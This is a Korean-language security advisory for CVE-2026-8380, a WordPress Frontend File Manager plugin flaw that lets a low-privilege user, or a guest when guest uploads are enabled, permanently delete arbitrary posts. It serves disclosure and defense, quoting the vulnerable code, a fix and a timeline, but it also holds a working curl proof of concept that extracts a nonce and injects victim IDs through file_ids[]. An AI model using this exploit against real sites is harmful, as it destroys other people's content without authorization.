
CVE-2026-8380
WordPress 플러그인 Frontend File Manager(nmedia-user-file-uploader) 버전 <= 23.6에서 심각한 권한 검증 결함이 발견되었습니다.
이 취약점으로 인해 낮은 권한을 가진 인증 사용자가 AJAX 삭제 엔드포인트의 부적절한 권한 검증으로 인해 임의의 WordPress 게시물, 페이지, 첨부 파일 및 사용자 정의 게시물 유형을 영구적으로 삭제할 수 있습니다.
플러그인 옵션 _allow_guest_upload=yes가 활성화되면 인증되지 않은 공격자도 이 취약점을 악용할 수 있습니다.
nmedia-user-file-uploader)이 플러그인은 wpfm_delete_file AJAX 액션 내부의 매개변수 불일치로 인해 WordPress 콘텐츠를 임의로 삭제할 수 있게 하는 심각한 권한 우회 취약점을 포함하고 있습니다.
이 취약점은 통제된 실험실 환경에서 실제 개념 증명 악용을 통해 성공적으로 검증되었습니다.
연구 과정에서 추가적인 보안 취약점도 확인되었습니다:
_allow_guest_uploadREMOTE_ADDR만 기반으로 하는 요청 속도 제한POST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
권한 검사는 다음 단일 매개변수를 사용하여 소유권을 검증합니다:
$_POST['file_id']
그러나 실제 삭제 작업은 다른 매개변수를 반복 처리합니다:
$_POST['file_ids[]']
이러한 불일치로 인해 공격자는 다음을 수행할 수 있습니다:
file_id에 합법적으로 소유한 게시물을 제공file_ids[]에 임의의 피해자 게시물 ID를 주입다음 사항을 보장하는 검증은 존재하지 않습니다:
file_ids[]의 모든 항목에 대한 소유권post_typefile_id와 file_ids[] 간의 관계결과적으로 임의의 WordPress 콘텐츠가 영구적으로 삭제될 수 있습니다.
최소 권한을 가진 인증 사용자가 다음 항목을 영구적으로 삭제할 수 있습니다:
삭제는 다음 코드로 수행됩니다:
wp_delete_post($file_id, true);
즉, 콘텐츠가 휴지통 복구 없이 영구적으로 제거됩니다.
_allow_guest_upload=yes가 활성화된 경우:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
공격자는 쇼트코드가 포함된 페이지를 방문합니다:
[ffmwp]
Nonce 추출:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
응답:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| 매개변수 | 설명 |
|---|---|
file_id=57 | 권한 검사를 우회하는 데 사용된 구독자 소유 게시물 |
file_ids[]=60 | 피해자 관리자 페이지 |
file_ids[]=61 | 피해자 관리자 게시물 |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
file_ids[] 내부의 모든 항목에 대해 소유권과 게시물 유형을 검증하십시오.
안전한 구현 예시:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| 이벤트 | 날짜 |
|---|---|
| 취약점 발견 | 2026-05-28 |
| 공급업체 연락 | 2026-05-28 |
| WPScan 게시 | 2026-06-04 |
| 대중 공개 | 2026-06-18 |
본 연구는 교육 및 보안 연구 목적으로만 통제된 실험실 환경에서 수행되었습니다.
적절한 권한 없이 시스템을 테스트하지 마십시오.